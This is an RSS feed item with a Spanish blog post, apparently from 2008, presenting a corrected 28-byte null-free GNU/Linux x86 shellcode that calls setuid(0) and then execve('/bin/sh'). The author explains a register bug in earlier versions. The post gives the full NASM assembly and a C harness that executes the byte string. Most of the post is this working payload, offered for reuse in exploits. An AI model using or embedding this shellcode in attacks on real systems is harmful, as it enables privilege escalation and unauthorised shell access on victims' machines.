		<description><![CDATA[<a href="http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/" title="Smallest GNU/Linux x86 setuid(0) &amp; exec(&quot;/bin/sh&quot;,0,0) Stable shellcode - 28 bytes"></a>Después de todo lo que hemos hecho, vlan7 me avisó de que las shellcodes anteriores sobre las que habíamos estado trabajando, estaban mal escrita, ya que ambos estábamos metiendo el uid de la llamada setuid en el registro ecx, en &#8230;<p class="read-more"><a href="http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/" title="Smallest GNU/Linux x86 setuid(0) &amp; exec(&quot;/bin/sh&quot;,0,0) Stable shellcode - 28 bytes"></a><p>Después de todo lo que hemos hecho, vlan7 me avisó de que las shellcodes anteriores sobre las que habíamos estado trabajando, estaban mal escrita, ya que ambos estábamos metiendo el uid de la llamada setuid en el registro ecx, en lugar de ebx&#8230;. Un fallo sin perdón, sin duda.</p>
<p>Así que después de meditarlo bien, retocar la shellcode, probarla en diferentes entornos, modificando la pila, los registros, etc. He llegado a esta shellcode estable de 28 bytes que realiza corréctamente ambas llamadas, setuid &amp; execve:</p>
<p><em><strong>Código para nasm:</strong></em></p>
<pre lang="asm">global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h
;execve("/bin/sh",0,0)
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h</pre>
<p><em><strong>Código en C:</strong></em></p>
<pre lang="C">#include 

const char shellcode[]= "\x31\xdb"
			"\x8d\x43\x17"
			"\x99"
			"\xcd\x80"
			"\x31\xc9"
			"\x51"
			"\x68\x6e\x2f\x73\x68"
			"\x68\x2f\x2f\x62\x69"
			"\x8d\x41\x0b"
			"\x89\xe3"
			"\xcd\x80";

int main()
{
	printf("\nSMALLEST SETUID &amp; EXECVE GNU/LINUX x86 STABLE SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + sch3m4@safetybits.net"
			"\n\t + http://safetybits.net"
			"\n\n[+] Date: 29/11/2008"
			"\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);

	(*(void (*)()) shellcode)();

	return 0;
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

